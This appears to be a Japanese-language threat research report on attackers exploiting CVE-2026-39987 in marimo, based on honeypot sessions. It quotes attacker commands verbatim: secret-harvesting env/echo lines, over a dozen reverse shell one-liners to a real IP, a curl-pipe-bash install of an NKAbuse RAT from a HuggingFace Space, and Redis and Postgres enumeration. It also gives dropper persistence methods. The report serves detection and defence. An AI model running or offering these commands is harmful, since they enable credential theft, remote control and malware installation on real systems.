CVE-2026-39987アップデート：攻撃者がmarimoを武装化してHuggingFace経由でブロックチェーンボットネットをデプロイ

脅威研究部門長

認証情報の収集

我々が観察した最も一般的な exploit 後の動作は環境変数の抽出でした：

env | grep -iE 'key|secret|token|api|pass|db|mongo|pg|mysql|openai|anthropic'echo AWS_ACCESS=$AWS_ACCESS_KEY_ID
echo AWS_SECRET=$AWS_SECRET_ACCESS_KEY
echo OPENAI=$OPENAI_API_KEY
echo DB=$DATABASE_URL

1人のオペレーター（111.90.145.139、マレーシア）は複数のセッションにわたってクラウド認証情報に排他的に焦点を当てていました。別のオペレーター（92.208.115.60、ドイツ）は、.envファイル、docker-compose.yml、およびSSHキーを読み取る4つの別個のセッションを実施しました。これらのオペレーターは再販売または後の使用のための認証情報を収集していますが、マルウェアをデプロイしていませんでした。

‍

ハニーポットは現実的な偽の認証情報を返しました。AWSアクセスキー、PostgreSQL接続文字列（DATABASE_URL=postgresql://USER:[email protected]:5432/marimo）、およびAPIキーが含まれています。1人の攻撃者が餌に食いつき、Postgresにログインしました。これについては記事の後半で取り扱います。

リバースシェルと横展開

最も洗練されたオペレーター（159.100.6.251、ドイツ）は3時間以上にわたって195イベントを実施しました。このオペレーターはデータベースの横展開にピボットする前に、15以上のリバースシェルテクニックを試みました：

bash -i >& /dev/tcp/159.100.6.251/44440>&1

これが失敗したとき、彼らはますます創造的なバリアントで エスカレーション：

nohup bash -c 'bash -i >& /dev/tcp/159.100.6.251/8888 0>&1' > /dev/null2>&1 & 
disown /bin/sh -i 5<> /dev/tcp/159.100.6.251/44430<&51>&52>&5/bin/sh -i >& /dev/udp/159.100.6.251/4430>&1python3 -c "import socket,os,pty; s=socket.socket(); s.connect(('159.100.6.251',80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn('/bin/bash')"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 159.100.6.251443 >/tmp/f

彼らはポート4444、8888、4443、443、および80を循環し、bash、sh、Python、およびnetcatを交互に使用し、TCPおよびUDPの両方のバリアントを含みました。

‍

リバースシェルオプションを使い果たした後、攻撃者は DATABASE_URL 環境変数を抽出し、ポート5432のPostgreSQLハニートラップに接続しました：

psql -h HOST.internal -U marimo -d marimo

4つのセッションと5分間で9つのクエリにわたって、彼らはデータベースを列挙しました：

\dn                    -- スキーマをリスト表示\dT                    -- タイプをリスト表示\dt                    -- テーブルをリスト表示SELECT version()       -- PostgreSQLバージョンSELECT current_database()
SELECT*FROM pg_catalog.pg_tables LIMIT 5SHOWALL-- すべての構成パラメーター

これはテキストブック的な横展開です：直接リモートアクセスに失敗したとき、環境内に存在する認証情報を使用して接続されたサービスにピボットします。同じセッション内でリバースシェルからデータベース列挙に移行することは、構造化されたプレイブックを持つ経験豊富なオペレーターを示唆しています。

‍

PostgreSQLは攻撃者が行った唯一の横展開ではありませんでした。彼らはRedisインスタンスにも影響を与えました。

‍

別の攻撃者（160.30.128.96-100、香港）は5つの並列接続と、すべての16のRedisデータベースにわたった約70反復を超えて、すべてのキーを体系的に列挙およびダンプしました：

  AUTH <password>               -- 認証（.env認証情報）  CLIENT SETINFO LIB-NAME       -- redis-pyとして識別  CLIENT SETINFO LIB-VER        -- ライブラリバージョンフィンガープリント                                                                                                                                                                                    
  SELECT 0                      -- データベース0に切り替え  DBSIZE                        -- データベース内のキーをカウント  SCAN 0 COUNT 100              -- すべてのキーを列挙  TYPE celery-task-meta-abc123  -- キータイプをチェック（文字列）                                                                                                                                                                              
  GET celery-task-meta-abc123   -- Celeryタスク結果を読み取り                                                                                                                                                                                    
  TYPE celery-task-meta-def456                                                                                                                                                                                                                  
  GET celery-task-meta-def456   -- Celeryタスク結果を読み取り                                                                                                                                                                                     
  TYPE session:admin:550e8400  GET session:admin:550e8400    -- 管理者セッショントークンを読み取り  TYPE session:api_user:6ba7b810  GET session:api_user:6ba7b810 -- APIユーザーセッションを読み取り  TYPE flow:550e8400:cache  GET flow:550e8400:cache       -- ノートブックフローキャッシュを読み取り  SELECT 1                      -- データベース1に対して繰り返し  ...                           -- SELECT 15まで

各IPは同じサイクルを6～20回実行し、すべての16のデータベース（SELECT 0からSELECT 15）をスキャンしました。彼らはCLIENT SETINFOを使用して標準redis-pyクライアントとして識別し、Pythonベースの流出ツールと一致します。パスワードはマリオの.envファイルから抽出されました。前のWebSocketターミナル exploit の間に。

DNS流出

1人のオペレーター（203.10.98.186、オーストラリア/AARNET）はDNSベースのアウトオブバンド確認を使用しました：

ping bskke4.dnslog.cn

DNSLogは一意のサブドメインを提供し、DNSクエリをログに記録し、直接コールバックなしでRCE確認を可能にします。このテクニックは、ファイアウォールが送信接続をブロックしてもDNS解決を許可する場合に一般的です。オペレーターは2時間のセッションを維持し、手動操作を示唆しています。

HuggingFace Spacesを介したNKAbuseデプロイメント

最も重要な発見は（38.147.173.172、香港）からのもので、次のコマンドを実行しました：

curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash

攻撃者は3回試行し、その後20分後に戻って実行を確認しました。これは事前ステージされた implant をデプロイするオペレーターの動作であり、偵察ではありません。

マルウェアドロッパー

ドロッパー（install-linux.sh、SHA256：25e4b2c4bb37f125b693a9c57b0e743eab2a3d98234f7519cd389e788252fd13）はクロスプラットフォームインストールを実装しています：

‍

1. ダウンロードフォールバック：curl → wget → fetch
2. プロセスクリーンアップ：既存のkagentインスタンスを強制終了
3. 永続化（3つの方法、順序で試行）：
   • systemdユーザーサービス（~/.config/systemd/user/kagent.service）
   • Crontab（@reboot cd $HOME/.kagent && $HOME/.kagent/kagent >/dev/null 2>&1）
   • macOS LaunchAgent（~/Library/LaunchAgents/com.kagent.plist）
4. サイレント操作：出力を~/.kagent/install.logにリダイレクト

‍

スクリプトはLinuxとmacOSの両方をサポートしており、marimoが主に開発者ワークステーションで使用されているため、注目に値します。

kagentペイロードバイナリ

ペイロード（kagent）はUPXでパックされた、ストリップされたGo ELFバイナリです（4.3 MB → 15.5 MB）。アンパックされた文字列はNKAbuseバリアントとして識別します：

nkn-rat-agent
NKN RAT Agent
[Agent] Heartbeat sent: uptime=%ds, cpu=%.1f%%, mem=%.1f%%, disk=%.1f%%
Shell output sent successfully
Received uninstall request, preparing graceful shutdown...
Agent binary deleted successfully

バイナリはNKNクライアントプロトコル、NATトラバーサルのためのWebRTC/ICE/STUN、プロキシ管理、および構造化されたコマンド処理を参照しています。これはNKAbuseファミリーに一致し、Kaspersky によって2023年12月に最初に文書化されました。

NKAbuseバリアント比較

元のNKAbuseと比較して、このバリアントは大きな転換を表します：

ノートブックプラットフォームを実行している開発者ワークステーションは高い価値のターゲットです：クラウド認証情報、SSHキー、APIトークン、および内部ネットワークアクセス。データサイエンティストのワークステーション上の implant は、汎用サーバー上のものより価値があります。

ネットワークインジケーター

ファイルハッシュ

ホストインジケーター

ソースIP

注：ソースIPはオペレーターの起点ではなく、プロキシまたはVPNエンドポイントである可能性があります。

リバースシェル検出カバレッジ

Sysdigエージェントを使用して、管理された環境で観察された各リバースシェルテクニックを再現しました。Sysdigは既存のルールを使用してすべてのバリアントを検出しました：

各バリアントは、サポートルールコンテナ内のネットワーク接続へのSTDOUT/STDINをリダイレクト（中）およびシステムプロセスネットワークアクティビティ（低）もトリガーしました。nohup/disownラッパーは、ファイル記述子をネットワークソケットにリダイレクトするため、ルールはコマンド文字列ではなく、検出を回避しませんでした。

‍

検出はsyscallレベルで機能します。bashが/dev/tcp/IP/PORTを開くと、connect()syscallが生成され、そのソケットにfd 0/1/2をリダイレクトすることはシェル構文に関係なく表示されます。Pythonのos.dup2()は同じパターンを生成します。mkfifo+ncバリアントは名前付きパイプを使用し、特別な兄弟プロセスパイプルールをトリガーします。